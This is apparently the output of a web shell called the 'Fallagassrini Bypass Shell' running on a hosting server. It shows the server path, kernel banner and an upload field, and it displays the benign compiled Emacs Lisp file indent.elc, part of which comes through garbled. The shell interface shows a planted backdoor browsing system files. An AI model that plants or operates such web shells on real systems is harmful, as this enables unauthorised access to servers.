? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /usr/share/emacs/24.3/lisp/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : //usr/share/emacs/24.3/lisp/indent.elc

;ELC
;;; Compiled by mockbuild@buildfarm06-new.corp.cloudlinux.com on Fri Oct 11 10:12:50 2024
;;; from file /builddir/build/BUILD/emacs-24.3/lisp/indent.el
;;; in Emacs version 24.3
;;; with all optimizations.

;;; This file uses dynamic docstrings, first added in Emacs 19.29.

;;; This file does not contain utf-8 non-ASCII characters,
;;; and so can be loaded in Emacs versions earlier than 23.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


(byte-code "\300\301\302\303\304\305%\210\306\307\310\311\304\301\312\313&\207" [custom-declare-group indent nil "Indentation commands." :group editing custom-declare-variable standard-indent 4 "Default number of columns for margin-changing functions to indent." :type integer] 8)
#@336 Function to indent the current line.
This function will be called with no arguments.
If it is called somewhere where auto-indentation cannot be done
(e.g. inside a string), the function should simply return `noindent'.
Setting this function is all you need to make TAB indent appropriately.
Don't rebind TAB unless you really need to.
(defvar indent-line-function 'indent-relative (#$ . 830))
#@522 Controls the operation of the TAB key.
If t, hitting TAB always just indents the current line.
If nil, hitting TAB indents the current line if point is at the left margin
or in the line's indentation, otherwise it inserts a "real" TAB character.
If `complete', TAB first tries to indent the current line, and if the line
was already indented, then try to complete the thing at point.

Some programming language modes have their own variable to control this,
e.g., `c-tab-always-indent', and do not respect this variable.
(custom-declare-variable 'tab-always-indent t '(#$ . 1230) :group 'indent :type '(choice (const :tag "Always indent" t) (const :tag "Indent if inside indentation, else TAB" nil) (const :tag "Indent, or if already indented complete" complete)))
#@368 Indent line in proper way for current major mode.
Normally, this is done by calling the function specified by the
variable `indent-line-function'.  However, if the value of that
variable is `indent-relative' or `indent-relative-maybe', handle
it specially (since those functions are used for tabbing); in
that case, indent by aligning to the previous non-blank line.
(defalias 'indent-according-to-mode #[nil "\302\303 !\210\304>\203.\212\305 \210\306\307x\210\305 \210\310 )i\310 X\203'\311	!\202,\212\311	!))\207 \207" [indent-line-function column syntax-propertize line-end-position (indent-relative indent-relative-maybe) beginning-of-line "\n 	" nil current-indentation indent-line-to] 2 (#$ . 2002) nil])
#@912 Indent the current line or region, or insert a tab, as appropriate.
This function either inserts a tab, or indents the current line,
or performs symbol completion, depending on `tab-always-indent'.
The function called to actually indent the line or insert a tab
is given by the variable `indent-line-function'.

If a prefix argument is given, after this function indents the
current line or inserts a tab, it also rigidly indents the entire
balanced expression which starts at the beginning of the current
line, to reflect the current line's indentation.

In most major modes, if point was in the current line's
indentation, it is moved to the first non-whitespace character
after indenting; otherwise it stays at the same position relative
to the text.

If `transient-mark-mode' is turned on and the region is active,
this function instead calls `indent-region'.  In this case, any
prefix argument is ignored.
(defalias 'indent-for-tab-command #[(&optional arg) "\306 \203\f\307\310 \311 \"\207\312=\204#	\204'i\313 V\204#\n=\203'\314\f!\207\315 `\313  \210	\316=\203N`=\203N\315 =\203N\317 \202\f\205\212\320y\210\321 \210\322 )\313 
Z\212\323y\210\324!?\205~`W\205~\325`#++\207" [indent-line-function tab-always-indent this-command last-command arg old-indent use-region-p indent-region region-beginning region-end indent-to-left-margin current-indentation insert-tab buffer-chars-modified-tick complete completion-at-point 0 forward-sexp point-marker 1 zerop indent-rigidly old-point old-tick indentation-change end-marker] 4 (#$ . 2726) "P"])
(defalias 'insert-tab #[(&optional arg) "\305!\n\203hz\306=\203\307 \210\203\310\311	\"\202%\f	i\f\245\\_j)\207" [arg count abbrev-mode indent-tabs-mode tab-width prefix-numeric-value 119 expand-abbrev insert-char 9] 4])
#@209 Indent all lines starting in the region sideways by ARG columns.
Called from a program, takes three arguments, START, END and ARG.
You can remove all indentation from a region by giving a large negative ARG.
(defalias 'indent-rigidly #[(start end arg) "\212b\210\305 	b\210n\204\306y\210`W\203@\307 \310\212\311\310w\210l)\n\2041\312\313\f\\]\313\"\210`\311\310w\210`|\210*\306y\210\202\310\211\223)\207" [end start eol-flag indent arg point-marker 1 current-indentation nil " 	" indent-to 0] 4 (#$ . 4550) "r\np"])
#@158 Indent current line to COLUMN.
This function removes or adds spaces and tabs at beginning of line
only if necessary.  It leaves point at end of indentation.
(defalias 'indent-line-to #[(column) "\303 \210i\211	W\203$	\n\245\n_Z\nY\203`\304\305x\210`|\210	j\2025	V\2055\306	\307\"\210`\303 \210`|)\207" [cur-col column tab-width back-to-indentation " " nil move-to-column t] 4 (#$ . 5087)])
#@183 Return the left margin to use for this line.
This is the value of the buffer-local variable `left-margin' plus the value
of the `left-margin' text-property at the start of the line.
(defalias 'current-left-margin #[nil "\212\301 \210\302\303m\203o\204`S\202`\300\"\206\302\\])\207" [left-margin back-to-indentation 0 get-text-property] 5 (#$ . 5492)])
#@315 Move to the left margin of the current line.
With optional argument, move forward N-1 lines first.
The column moved to is the one given by the `current-left-margin' function.
If the line's indentation appears to be wrong, and this command is called
interactively or with optional argument FORCE, it will be fixed.
(defalias 'move-to-left-margin #[(&optional n force) "\304!\210\305\306w\210\307p!\203\212\304 \210o)\203\310 b\207\304 \207\311 i	\nV\2037\312\n\"\nV\205C\313u\202C\205C	\nW\205C\314 *\207" [n cc lm force beginning-of-line " 	" nil minibufferp minibuffer-prompt-end current-left-margin move-to-column -1 indent-to-left-margin] 3 (#$ . 5860) (list (prefix-numeric-value current-prefix-arg) t)])
#@67 Indent current line to the column given by `current-left-margin'.
(defalias 'indent-to-left-margin #[nil "\212\300\301 !\210)\212\302\303x\210n)\205\302\303w\207" [indent-line-to current-left-margin " 	" nil] 2 (#$ . 6589)])
#@208 Remove left margin indentation from a region.
This deletes to the column given by `current-left-margin'.
In no case will it delete non-whitespace.
Args FROM and TO are optional; default is the whole buffer.
(defalias 'delete-to-left-margin #[(&optional from to) "\212\206db\210\302 	\206eb\210n\204\303y\210`W\203.`\304\305\306\"\210`|\210\303y\210\202\305\211\223)\207" [to from point-marker 1 move-to-left-margin nil t] 4 (#$ . 6823)])
#@234 Set the left margin of the region to WIDTH.
If `auto-fill-mode' is active, re-fill the region to fit the new margin.

Interactively, WIDTH is the prefix argument, if specified.
Without prefix argument, the command prompts for WIDTH.
(defalias 'set-left-margin #[(from to width) "\212b\210\304\305x\210n\203`	b\210\304\305w\210\306 )\307	\"\210\310	\311\n$\210\312	\n#\210\2039\212\313	\305\314\211%\210)	\305\211\223\207" [from to width auto-fill-function " 	" nil point-marker delete-to-left-margin put-text-property left-margin indent-rigidly fill-region t] 6 (#$ . 7281) "r\nNSet left margin to column: "])
#@235 Set the right margin of the region to WIDTH.
If `auto-fill-mode' is active, re-fill the region to fit the new margin.

Interactively, WIDTH is the prefix argument, if specified.
Without prefix argument, the command prompts for WIDTH.
(defalias 'set-right-margin #[(from to width) "\212b\210\304\305x\210n\203`)\306	\307\n$\210\205#\212\310	\305\311\211%)\207" [from to width auto-fill-function " 	" nil put-text-property right-margin fill-region t] 6 (#$ . 7909) "r\nNSet right margin to width: "])
#@279 Programmatically change value of a text-property.
For each region between FROM and TO that has a single value for PROPERTY,
apply FUNCTION to that value and sets the property to the function's result.
Optional fifth argument OBJECT specifies the string or buffer to operate on.
(defalias 'alter-text-property #[(from to prop func &optional object) "\306\211\307\f
#\310\n\f	
%\211\203)\311\n\f	!
%\210\n\202\nW\205;\311\n\f	!
%+\207" [from val end begin prop object nil get-text-property text-property-not-all put-text-property to func] 6 (#$ . 8423)])
#@311 Increase or decrease the left-margin of the region.
With no prefix argument, this adds `standard-indent' of indentation.
A prefix arg (optional third arg INC noninteractively) specifies the amount
to change the margin by, in characters.
If `auto-fill-mode' is active, re-fill the region to fit the new margin.
(defalias 'increase-left-margin #[(from to inc) "\203\n\305!\202	\212\nb\210\306\307x\210n\203`b\210\310 )\311\n\312\313$\210\314\n#\210\f\203<\212\315\n\307\316\211%\210)\307\211\223\207" [inc standard-indent from to auto-fill-function prefix-numeric-value " 	" nil point-marker alter-text-property left-margin #[(v) "[	\n\206\303\\]\207" [left-margin inc v 0] 3] indent-rigidly fill-region t] 6 (#$ . 9006) "*r\nP"])
#@306 Make the left margin of the region smaller.
With no prefix argument, decrease the indentation by `standard-indent'.
A prefix arg (optional third arg INC noninteractively) specifies the amount
to change the margin by, in characters.
If `auto-fill-mode' is active, re-fill the region to fit the new margin.
(defalias 'decrease-left-margin #[(from to inc) "\203\n\304!\202	\305\n[#\207" [inc standard-indent from to prefix-numeric-value increase-left-margin] 4 (#$ . 9762) "*r\nP"])
#@359 Increase the right-margin of the region.
With no prefix argument, increase the right margin by `standard-indent'.
A prefix arg (optional third arg INC noninteractively) specifies the amount
to change the margin by, in characters.  A negative argument decreases
the right margin width.
If `auto-fill-mode' is active, re-fill the region to fit the new margin.
(defalias 'increase-right-margin #[(from to inc) "\203\n\305!\202	\212\306\n\307\310$\210\f\205\311\n\312\313\211%)\207" [inc standard-indent from to auto-fill-function prefix-numeric-value alter-text-property right-margin #[(v) "	\206\302\\\207" [inc v 0] 2] fill-region nil t] 6 (#$ . 10257) "r\nP"])
#@354 Make the right margin of the region smaller.
With no prefix argument, decrease the right margin by `standard-indent'.
A prefix arg (optional third arg INC noninteractively) specifies the amount
of width to remove, in characters.  A negative argument increases
the right margin width.
If `auto-fill-mode' is active, re-fills region to fit in new margin.
(defalias 'decrease-right-margin #[(from to inc) "\203\n\304!\202	\305\n[#\207" [inc standard-indent from to prefix-numeric-value increase-right-margin] 4 (#$ . 10938) "*r\nP"])
#@390 Move to the beginning of the text on this line.
With optional argument, move forward N-1 lines first.
From the beginning of the line, moves past the left-margin indentation, the
fill-prefix, and any indentation used for centering or right-justifying the
line, but does not move past any whitespace that was explicitly inserted
(such as a tab used to indent the first line of a paragraph).
(defalias 'beginning-of-line-text #[(&optional n) "\304!\210\305\306w\210	\203&	\307\230\204&	`d	G`\\^{\232\2038	Gu\210\2028\n\2038\2038\310!\2038\311\225b\210\312 \313>\205B\305\306w\207" [n fill-prefix adaptive-fill-mode adaptive-fill-regexp beginning-of-line " 	" nil "" looking-at 0 current-justification (center right)] 5 (#$ . 11484) "p"])
#@144 Short cut function to indent region using `indent-according-to-mode'.
A value of nil means really run `indent-according-to-mode' on each line.
(defvar indent-region-function nil (#$ . 12237))
#@715 Indent each nonblank line in the region.
A numeric prefix argument specifies a column: indent each line to that column.

With no prefix argument, the command chooses one of these methods and
indents all the lines with it:

  1) If `fill-prefix' is non-nil, insert `fill-prefix' at the
     beginning of each line in the region that does not already begin
     with it.
  2) If `indent-region-function' is non-nil, call that function
     to indent the region.
  3) Indent each line via `indent-according-to-mode'.

Called from a program, START and END specify the region to indent.
If the third argument COLUMN is an integer, it specifies the
column to indent to; if it is nil, use one of the three methods above.
(defalias 'indent-region #[(start end &optional column) "\203?\306!\212	b\210\307 \nb\210n\204\310y\210`	W\2036`\311\312w\210`|\210l\2040\313\314\"\210\310y\210\202	\312\211\223\210)\202\243\203r\212	b\210\307 \nb\210\315!`	W\203n\316\f!\204hn\203el\204hc\210\310y\210\202Q*\202\243
\203~
\n	\"\210\202\243\212\317	!\nb\210`	W\203\235n\203\224l\204\227\320 \210\310y\210\202\206	\312\211\223\210)\312\204\260\2050\321=\203\277\242\321=\202\301\203\374\322 \203\374\323 \203\374 \203\337\324\325 \"\210\312 \202\374\326 \327 U\204\374\330\325!\204\363\331\325!\204\374\324\325\326 \327 {\"\210\204\332=\204\242\321=\203A\204\312\211\2020\242\321=\203*A\312!\333\334!)\207" [column end start fill-prefix regexp indent-region-function prefix-numeric-value point-marker 1 " 	" nil indent-to 0 regexp-quote looking-at copy-marker indent-according-to-mode only region-active-p display-selections-p x-set-selection PRIMARY region-beginning region-end x-selection-owner-p x-selection-exists-p lambda run-hooks deactivate-mark-hook force transient-mark-mode select-active-regions saved-region-selection mark-active] 4 (#$ . 12436) "r\nP"])
#@190 Indent a new line like previous nonblank line.
If the previous nonblank line has no indent points beyond the
column point starts at, this command does nothing.

See also `indent-relative'.
(defalias 'indent-relative-maybe #[nil "\300\301!\207" [indent-relative t] 2 (#$ . 14374) nil])
#@496 Space out to under next indent point in previous nonblank line.
An indent point is a non-whitespace character following whitespace.
The following line shows the indentation points in this line.
    ^         ^    ^     ^   ^           ^      ^  ^    ^
If the previous nonblank line has no indent points beyond the
column point starts at, `tab-to-tab-stop' is done instead, unless
this command is invoked with a numeric argument, in which case it
does nothing.

See also `indent-relative-maybe'.
(defalias 'indent-relative #[(&optional unindented-ok) "\203hz\306=\203\307 \210i\310\212\311 \210\312\313\310\314#\203M\212\315y\210`)\316\n!\210i\nV\2032\317u\210\320\321!\204@\f\204@\322w\210\323w\210`U\204Li))	\203k\324 \325	\326\"\210
`V\203c
b\210
\310\211\223)\202m\327 *\207" [abbrev-mode indent start-column end unindented-ok opoint 119 expand-abbrev nil beginning-of-line re-search-backward "^[^\n]" t 1 move-to-column -1 looking-at "[ 	]" "^ 	" " 	" point-marker indent-to 0 tab-to-tab-stop] 4 (#$ . 14666) "P"])
(byte-code "\300\301\302\303\304\305\306\307&\210\310\301\311\312#\207" [custom-declare-variable tab-stop-list '(8 16 24 32 40 48 56 64 72 80 88 96 104 112 120) "List of tab stop positions used by `tab-to-tab-stop'.\nThis should be a list of integers, ordered from smallest to largest." :group indent :type (repeat integer) put safe-local-variable listp] 8)
#@34 Keymap used in `edit-tab-stops'.
(defvar edit-tab-stops-map (byte-code "\301 \302\303\304#\210\302\305\304#\210)\207" [map make-sparse-keymap define-key "" edit-tab-stops-note-changes ""] 4) (#$ . 16071))
#@112 Buffer whose tab stops are being edited.
This matters if the variable `tab-stop-list' is local in that buffer.
(defvar edit-tab-stops-buffer nil (#$ . 16291))
#@294 Edit the tab stops used by `tab-to-tab-stop'.
Creates a buffer *Tab Stops* containing text describing the tab stops.
A colon indicates a column where there is a tab stop.
You can add or remove colons and then do \<edit-tab-stops-map>\[edit-tab-stops-note-changes] to make changes take effect.
(defalias 'edit-tab-stops #[nil "p\306\307\310!!\210\311	!\210\312\302!\210\313\314\315!\210\316\317 \210\f\211\2031\320
@\321\"\210\322c\210
A\211\204!)\321\323c\210\324W\203Q\325\\c\210\326c\210T\211\202:\323c\210\321V\203g\327c\210S\211\202V)\330c\210eb\207" [edit-tab-stops-buffer edit-tab-stops-map indent-tabs-mode truncate-lines tab-stop-list tabs switch-to-buffer get-buffer-create "*Tab Stops*" use-local-map make-local-variable nil overwrite-mode 1 t erase-buffer indent-to 0 58 10 8 48 "         " "0123456789" "\nTo install changes, type C-c C-c" count] 4 (#$ . 16457) nil])
#@35 Put edited tab stops into effect.
(defalias 'edit-tab-stops-note-changes #[nil "\303\212\304b\210\303\210\305\306\303\307#\203iB\202	)\310p\311	!\210!\210)\312\313!\207" [tabs edit-tab-stops-buffer tab-stop-list nil 1 search-backward ":" t bury-buffer switch-to-buffer message "Tab stops installed"] 4 (#$ . 17370) nil])
#@186 Insert spaces or tabs to next defined tab-stop column.
The variable `tab-stop-list' is a list of columns at which there are tab stops.
Use \[edit-tab-stops] to edit them interactively.
(defalias 'tab-to-tab-stop #[nil "\203hz\303U\203\304 \210	\211\203\"i\n@Y\203\"\nA\211\204\n\2030\305\306!\210\n@j\2022\307c)\207" [abbrev-mode tab-stop-list tabs 119 expand-abbrev delete-horizontal-space t 32] 3 (#$ . 17707) nil])
#@175 Move point to next defined tab-stop column.
The variable `tab-stop-list' is a list of columns at which there are tab stops.
Use \[edit-tab-stops] to edit them interactively.
(defalias 'move-to-tab-stop #[nil "\211\203i	@Y\203	A\211\204	\205M`\305	@\306\"\210\212\nb\210h\307=\205Lg\310=\205Li\245_i\fV\203Hh\307=\203H\311u\210\2026`\n|)*)\207" [tab-stop-list tabs before tab-width tabend move-to-column t 32 9 -1] 4 (#$ . 18145) nil])
(byte-code "\303\304\305#\210\303	\306\307#\210\303\n\304\310#\210\303	\311\312#\207" [global-map esc-map ctl-x-map define-key "	" indent-for-tab-command "" indent-region indent-rigidly "i" tab-to-tab-stop] 4)

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net